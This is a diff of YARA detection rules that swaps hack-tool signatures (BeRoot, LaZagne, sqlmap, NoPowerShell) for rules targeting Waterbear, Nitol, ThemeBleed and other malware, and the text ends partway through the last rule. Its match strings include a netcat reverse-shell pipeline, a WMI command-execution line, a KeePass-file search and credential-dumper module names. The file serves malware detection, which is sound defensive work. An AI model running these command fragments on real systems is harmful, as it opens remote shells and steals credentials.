+		hash1 = "409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230"
 
 	strings:
-		$s1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
-		$s2 = "fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc" ascii
-		$s4 = "mknod /tmp/f p && nc" ascii
-		$s5 = "</tmp/f|/bin/bash 1>/tmp/f" ascii
+		$s1 = "svcdll.dll" fullword ascii
+		$s2 = "log.log" fullword ascii
 
 	condition:
-		filesize <2KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <60KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Berootexe : FILE
+rule SIGNATURE_BASE_Waterbear_7_Jun17 : FILE
 {
 	meta:
-		description = "Detects beRoot.exe which checks common Windows missconfigurations"
-		author = "yarGen Rule Generator"
-		id = "b91c2e0b-2e47-5339-bf48-eaa8329ea63b"
-		date = "2018-07-25"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4613df5b-495e-5738-9b7f-ac8ff586cd17"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4431-L4447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e10fddd3b3eb5e5200d9ed0bcb23961d196d9e1de03ebf03a96374ee02a9097"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L108-L125"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6a760abca78e799b194864ad56457ccb0b05123307da6bfcad0c66da47f485a1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134"
 
 	strings:
-		$s1 = "checks.webclient.secretsdump(" ascii
-		$s2 = "beroot.modules" fullword ascii
-		$s3 = "beRoot.exe.manifest" fullword ascii
+		$s1 = "Bluthmon.exe" fullword wide
+		$s2 = "Motomon.exe" fullword wide
+		$s3 = "%d.%s%d%d%d" fullword ascii
+		$s4 = "mywishes.hlp" fullword ascii
+		$s5 = "filemon.rtf" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <18000KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Berootexe_Output : FILE
+rule SIGNATURE_BASE_Waterbear_8_Jun17 : FILE
 {
 	meta:
-		description = "Detects the output of beRoot.exe"
-		author = "Tobias Michalski"
-		id = "dfd11915-443f-5ce9-b94a-bdcb0e62104e"
-		date = "2018-07-25"
-		modified = "2023-12-05"
-		reference = "https://github.com/AlessandroZ/BeRoot/tree/master/Windows"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4449-L4463"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7886535d071092df76507f0dd431409e85c368d404f49e7f118278f6565618e6"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5ebeda22-ad67-5715-b42f-9b4bb5dcde94"
+		date = "2017-06-23"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L127-L145"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b1dfe486ea141342f253963ce6cc1e73d063ce880cf2fcee1aaa6aa6e919349"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "bd06f6117a0abf1442826179f6f5e1932047b4a6c14add9149e8288ab4a902c3"
+		hash1 = "5dba8ddf05cb204ef320a72a0c031e55285202570d7883f2ff65135ec35b3dd0"
 
 	strings:
-		$s1 = "permissions: {'change_config'" fullword wide
-		$s2 = "Full path: C:\\Windows\\system32\\msiexec.exe /V" fullword wide
-		$s3 = "Full path: C:\\Windows\\system32\\svchost.exe -k DevicesFlow" fullword wide
-		$s4 = "! BANG BANG !" fullword wide
+		$s1 = "Update.dll" fullword ascii
+		$s2 = "ADVPACK32.DLL" fullword wide
+		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\" ascii
+		$s4 = "\\drivers\\sftst.sys" ascii
+		$s5 = "\\\\.\\SFilter" fullword ascii
 
 	condition:
-		filesize <400KB and 3 of them
+		( uint16(0)==0x5a4d and filesize <40KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Embeddedpdf : FILE
+rule SIGNATURE_BASE_Waterbear_9_Jun17 : FILE
 {
 	meta:
-		description = "Detects Embedded PDFs which can start malicious content"
-		author = "Tobias Michalski"
-		id = "d4e2d878-fb75-54c5-9879-fe94102911d1"
-		date = "2018-07-25"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "727cdb55-ede5-5520-9aa9-5a265b5aeba1"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/infosecn1nja/status/1021399595899731968?s=12"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4465-L4482"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "041580406e2a7c644d713d8fbf7fccb81664ff536e62df26b3c0f331409fb993"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L147-L166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b54f3032b31c5a48e879e49bd97adf3222db46a7789afc4ea2f5eca32536a2e4"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc74d2434d48b316c9368d3f90fea19d76a20c09847421d1469268a32f59664c"
 
 	strings:
-		$x1 = "/Type /Action\n /S /JavaScript\n /JS (this.exportDataObject({" fullword ascii
-		$s1 = "(This PDF document embeds file" fullword ascii
-		$s2 = "/Names << /EmbeddedFiles << /Names" fullword ascii
-		$s3 = "/Type /EmbeddedFile" fullword ascii
+		$s1 = "ADVPACK32.DLL" fullword wide
+		$s2 = "ADVPACK32" fullword wide
+		$a1 = "U2_Dll.dll" fullword ascii
+		$b1 = "ProUpdate" fullword ascii
+		$b2 = "Update.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5025 and 2 of ($s*) and $x1
+		uint16(0)==0x5a4d and filesize <30KB and all of ($s*) and ($a1 or all of ($b*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HTKL_Blackbone_Driverinjector : FILE
+rule SIGNATURE_BASE_Waterbear_10_Jun17 : FILE
 {
 	meta:
-		description = "Detects BlackBone Driver injector"
+		description = "Detects malware from Operation Waterbear"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0d992a6c-c57a-5895-af0d-9c167d922601"
-		date = "2018-09-11"
+		id = "1219c3e6-1001-5075-b7fc-e0d8a7de6a65"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/DarthTon/Blackbone"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4484-L4510"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d6a5f02a465ea46892e1de54a3482aace387ab0d2cdb949e263ce63f4f9edbb7"
-		score = 60
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L168-L182"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e71a317f782b73c876f0cb5fee25b69d8f1c45c20c58e4f204b7aeb7484cf14"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "8062a4284c719412270614458150cb4abbdf77b2fc35f770ce9c45d10ccb1f4d"
-		hash2 = "2d2fc27200c22442ac03e2f454b6e1f90f2bbc17017f05b09f7824fac6beb14b"
-		hash3 = "e45da157483232d9c9c72f44b13fca2a0d268393044db00104cc1afe184ca8d1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41"
 
 	strings:
-		$s1 = "=INITtH=PAGEtA" fullword ascii
-		$s2 = "BBInjectDll" fullword ascii
-		$s3 = "LdrLoadDll" fullword ascii
-		$s4 = "\\??\\pipe\\%ls" fullword wide
-		$s5 = "Failed to retrieve Kernel base address. Aborting" fullword ascii
-		$x2 = "BlackBone: %s: APC injection failed with status 0x%X" fullword ascii
-		$x3 = "BlackBone: PDE_BASE/PTE_BASE not found " fullword ascii
-		$x4 = "%s: Invalid injection type specified - %d" fullword ascii
-		$x6 = "Trying to map C:\\windows\\system32\\cmd.exe into current process" fullword wide
-		$x7 = "\\BlackBoneDrv\\bin\\" ascii
-		$x8 = "DosDevices\\BlackBone" wide
+		$s1 = "ADVPACK32.DLL" fullword wide
+		$s5 = "ADVPACK32" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <8000KB and (3 of them or 1 of ($x*))
+		( uint16(0)==0x5a4d and filesize <30KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Sqlmap : FILE
+rule SIGNATURE_BASE_Waterbear_11_Jun17 : FILE
 {
 	meta:
-		description = "Detects sqlmap hacktool"
+		description = "Detects malware from Operation Waterbear"
 		author = "Florian Roth (Nextron Systems)"
-		id = "da2029dd-c4ce-557f-a409-c468fa3deef3"
-		date = "2018-10-09"
+		id = "d7eb7561-c84e-5149-920c-35ad225ca8a9"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/sqlmapproject/sqlmap"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4512-L4525"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9aa13bc2db40f5ab3debd617c84b1e11805d137bc55e9088bc9a0c23e185dfce"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L185-L201"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea61c348847614ad2872bfd385f433c5a30c7f6b5f5a2f135a7d83c553157ccd"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "9444478b03caf7af853a64696dd70083bfe67f76aa08a16a151c00aadb540fa8"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8"
 
 	strings:
-		$x1 = "if cmdLineOptions.get(\"sqlmapShell\"):" fullword ascii
-		$x2 = "if conf.get(\"dumper\"):" fullword ascii
+		$s1 = "/Pages/%u.asp" fullword wide
+		$s2 = "NVIDIA Corporation." fullword wide
+		$s3 = "tqxbLc|fP_{eOY{eOX{eO" fullword ascii
+		$s4 = "Copyright (C) 2005" fullword wide
 
 	condition:
-		filesize <50KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Sqlmap_Backdoor : FILE
+rule SIGNATURE_BASE_Waterbear_12_Jun17 : FILE
 {
 	meta:
-		description = "Detects SqlMap backdoors"
+		description = "Detects malware from Operation Waterbear"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bf09caac-cf15-5936-b5b4-df4f28788961"
-		date = "2018-10-09"
+		id = "cc0a071c-c409-57a2-80c5-dd93ca7db339"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/sqlmapproject/sqlmap"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4527-L4543"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e09135e3908442d873511b7b75c8475b2345a28f3bad41a242d6fc5a3b7c002"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L203-L217"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "343e6f36190372cd5599a84834edc3935d27a1e01aeab53c5765598b5b4071fe"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "15d9db2c90f56cd02be38e7088db8ec00fc603508ec888b4b85d60d970966585"
+
+	strings:
+		$s1 = "O_PROXY" fullword ascii
+		$s2 = "XMODIFY" fullword ascii
 
 	condition:
-		( uint32(0)==0x8e859c07 or uint32(0)==0x2d859c07 or uint32(0)==0x92959c07 or uint32(0)==0x929d9c07 or uint32(0)==0x29959c07 or uint32(0)==0x2b8d9c07 or uint32(0)==0x2b859c07 or uint32(0)==0x28b59c07) and filesize <2KB
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Lazagne_Passworddumper_Dec18_1 : FILE
+rule SIGNATURE_BASE_Waterbear_13_Jun17 : FILE
 {
 	meta:
-		description = "Detects password dumper Lazagne often used by middle eastern threat groups"
+		description = "Detects malware from Operation Waterbear"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bae48a4d-33b6-55b9-abf5-daf87e5da9e9"
-		date = "2018-12-11"
+		id = "425aaed4-879e-5caf-808b-14de98f628e8"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4545-L4565"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "887c8e91942076395dc7575d5cbd926e7e0971a759daf719983dd918d9babad3"
-		score = 85
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L219-L243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b34c3d643309b8bbaa122a753e7f58dd9340cfa33962dbab1454c8080afd1664"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1205f5845035e3ee30f5a1ced5500d8345246ef4900bcb4ba67ef72c0f79966c"
-		hash2 = "884e991d2066163e02472ea82d89b64e252537b28c58ad57d9d648b969de6a63"
-		hash3 = "bf8f30031769aa880cdbe22bc0be32691d9f7913af75a5b68f8426d4f0c7be50"
+		super_rule = 1
+		hash1 = "734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23"
+		hash2 = "8bde3f71575aa0d5f5a095d9d0ea10eceadba38be888e10d3ca3776f7b361fe7"
+		hash3 = "c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1"
 
 	strings:
-		$s1 = "softwares.opera(" ascii
-		$s2 = "softwares.mozilla(" ascii
-		$s3 = "config.dico(" ascii
-		$s4 = "softwares.chrome(" ascii
-		$s5 = "softwares.outlook(" ascii
+		$s1 = "%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword ascii
+		$s2 = "brnew.exe" fullword ascii
+		$s3 = "ChangeServiceConfig failed (%d)" fullword ascii
+		$s4 = "Proxy %d:%s %d" fullword ascii
+		$s5 = "win9807.tmp" fullword ascii
+		$s7 = "Service stopped successfully" fullword ascii
+		$s8 = "current dns:%s" fullword ascii
+		$s9 = "%c%u|%u|%u|%u|%u|" fullword ascii
+		$s10 = "[-]send %d: " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <17000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Lazagne_Gen_18
+rule SIGNATURE_BASE_Waterbear_14_Jun17 : FILE
 {
 	meta:
-		description = "Detects Lazagne password extractor hacktool"
+		description = "Detects malware from Operation Waterbear"
 		author = "Florian Roth (Nextron Systems)"
-		id = "034ea6d8-f5cf-5664-9ff9-24d19403093d"
-		date = "2018-12-11"
+		id = "515d9400-3e2e-5ee5-a7dd-b313125c6482"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://creativecommons.org/licenses/by-nc/4.0/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4567-L4584"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6f3e895080267a551a3b7a0ba2d4207b31befacbd35d1e6941e1b69d7e2689ce"
-		score = 80
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L245-L261"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ebe46590556e8eba2eef1c007549f6141c917bab97d46a0d58eca56257e24e2"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "51121dd5fbdfe8db7d3a5311e3e9c904d644ff7221b60284c03347938577eecf"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "00a1068645dbe982a9aa95e7b8202a588989cd37de2fa1b344abbc0102c27d05"
+		hash2 = "53330a80b3c4f74f3f10a8621dbef4cd2427723e8b98c5b7aed58229d0c292ba"
+		hash3 = "bdcb23a82ac4eb1bc9254d77d92b6f294d45501aaea678a3d21c8b188e31e68b"
 
 	strings:
-		$x1 = "lazagne.config.powershell_execute(" ascii
-		$x2 = "creddump7.win32." ascii
-		$x3 = "lazagne.softwares.windows.hashdump" ascii
-		$x4 = ".softwares.memory.libkeepass.common(" ascii
+		$s1 = "my.com/msg/util/sgthash" fullword ascii
+		$s2 = "C:\\recycled" fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0x5a4d and filesize <8000KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_Nopowershell
+rule SIGNATURE_BASE_MAL_Nitol_Malware_Jan19_1 : FILE
 {
 	meta:
-		description = "Detects NoPowerShell hack tool"
+		description = "Detects Nitol Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "17d508d5-833f-5232-a071-dbed8758493b"
-		date = "2018-12-28"
-		modified = "2022-12-21"
-		reference = "https://github.com/bitsadmin/nopowershell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4586-L4603"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2207af9fcc61d547dfeff347a1eae2c59024a7270d1b8cbb7abef56d80864728"
+		id = "5b9968a8-31ba-593b-9e01-b69a4e31fe65"
+		date = "2019-01-14"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/shotgunner101/status/1084602413691166721"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mal_nitol.yar#L4-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4607496beb37500637c1e5509b42c0fe6f9e79548c85603819dc966fa2cc2be0"
 		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "2dad091dd00625762a7590ce16c3492cbaeb756ad0e31352a42751deb7cf9e70"
+		tags = "FILE"
+		hash1 = "fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e"
 
 	strings:
-		$x1 = "\\NoPowerShell.pdb" ascii
-		$x2 = "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd" fullword wide
-		$x3 = "ls C:\\Windows\\System32 -Include *.exe | select -First 10 Name,Length" fullword wide
-		$x4 = "ls -Recurse -Force C:\\Users\\ -Include *.kdbx" fullword wide
-		$x5 = "NoPowerShell.exe" fullword wide
+		$xc1 = { 00 25 75 20 25 73 00 00 00 30 2E 30 2E 30 2E 30
+               00 25 75 20 4D 42 00 00 00 25 64 2A 25 75 25 73
+               00 7E 4D 48 7A }
+		$xc2 = "GET ^&&%$%$^" ascii
+		$n1 = ".htmGET " ascii
+		$s1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
+		$s2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
+		$s3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
+		$s4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="286870a926664a5129b8b68ed0d4a8eb" or 1 of ($x*) or #n1>4 or 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Htran_Go : FILE
+rule SIGNATURE_BASE_SUSP_Themebleed_Theme_Sep23 : FILE
 {
 	meta:
-		description = "Detects go based htran variant"
-		author = "Jeff Beley"
-		id = "bd9409e3-3d4c-57d6-af60-b6d6bd93d46b"
-		date = "2019-01-09"
+		description = "Detects domain or IP placement in Windows theme files"
+		author = "@m_haggis, @nas_bench"
+		id = "76d0042b-655d-5d03-bcc4-150ebc92eb43"
+		date = "2023-09-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4604-L4617"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "444fe8ce2fdb67c982de26a10882d2cfebc4d2de6c4b4ba6ee10cf39130f1cc5"
+		reference = "https://github.com/gabe-k/themebleed"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2023_38146.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "577003741f07aeffafd2b0b22913de44ea4f5ed264f4104ee013104355f65311"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "4acbefb9f7907c52438ebb3070888ddc8cddfe9e3849c9d0196173a422b9035f"
 
 	strings:
-		$s1 = "https://github.com/cw1997/NATBypass" fullword ascii
-		$s2 = "-slave ip1:port1 ip2:port2" fullword ascii
-		$s3 = "-tran port1 ip:port2" fullword ascii
+		$s1 = /Path=\\\\[0-9a-zA-Z\.-]{1,20}\\/
+		$s2 = "[VisualStyles]"
+		$s3 = "[Theme]"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <7000KB and 1 of them
+		filesize <1MB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Katz_PDB : FILE
+rule SIGNATURE_BASE_Base64_PS1_Shellcode
 {
 	meta:
-		description = "Detects suspicious PDB in file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "79f4f07c-b234-5203-a2ab-aba4a9cb9f8d"
-		date = "2019-02-04"
+		description = "Detects Base64 encoded PS1 Shellcode"
+		author = "Nick Carr, David Ledbetter"
+		id = "7c3cec3b-a192-5bfd-b4f1-22b1afeb717e"
+		date = "2018-11-14"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4619-L4632"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1a38f63d8e8baa9bc8f34c1886fc2aaea7f61d5e09792ba9cde4cf6ed8441fab"
+		reference = "https://twitter.com/ItsReallyNick/status/1062601684566843392"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_ps1_shellcode.yar#L1-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fac6f41965eb2209f1552763800d6a2b172f28cd29bb7586d180654aab1e6d56"
 		score = 65
 		quality = 85
-		tags = "FILE"
-		hash1 = "6888ce8116c721e7b2fc3d7d594666784cf38a942808f35e309a48e536d8e305"
+		tags = ""
 
 	strings:
-		$s1 = /\\Release\\[a-z]{0,8}katz.pdb/
-		$s2 = /\\Debug\\[a-z]{0,8}katz.pdb/
+		$substring = "AAAAYInlM"
+		$pattern1 = "/OiCAAAAYInlM"
+		$pattern2 = "/OiJAAAAYInlM"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <6000KB and all of them
+		$substring and 1 of ($p*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_LNX_Pnscan : FILE
+rule SIGNATURE_BASE_APT_Donotteam_Ytyframework : APT DONOTTEAM WINDOWS FILE
 {
 	meta:
-		description = "Detects Pnscan port scanner"
-		author = "Florian Roth (Nextron Systems)"
-		id = "46c6c0d9-08bb-5de3-ad14-c1a7ab0542c6"
-		date = "2019-05-27"
+		description = "Modular malware framework with similarities to EHDevel"
+		author = "James E.C, ProofPoint"
+		id = "6dd07019-aa5a-5966-8331-b6f6758b0652"
+		date = "2018-08-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/ptrrkssn/pnscan"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4634-L4647"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46a064f9df9d0a0f3fad4ec7be70b1e42074e5e117f7403d8239bc725590f268"
-		score = 55
-		quality = 85
-		tags = "FILE"
+		reference = "https://labs.bitdefender.com/2017/09/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_donotteam_ytyframework.yar#L3-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1e0c1b97925e1ed90562d2c68971e038d8506b354dd6c1d2bcc252d2a48bc31c"
+		logic_hash = "8e2841fd4550f12d88fb451a893f1ba41f0d3c123d9c195fe97366202376ef61"
+		score = 75
+		quality = 83
+		tags = "APT, DONOTTEAM, WINDOWS, FILE"
 
 	strings:
-		$x1 = "-R<hex list>   Hex coded response string to look for." fullword ascii
-		$x2 = "This program implements a multithreaded TCP port scanner." ascii wide
+		$x1 = "/football/download2/" ascii wide
+		$x2 = "/football/download/" ascii wide
+		$x3 = "Caption: Xp>" wide
+		$x_c2 = "5.135.199.0" ascii fullword
+		$a1 = "getGoogle" ascii fullword
+		$a2 = "/q /noretstart" wide
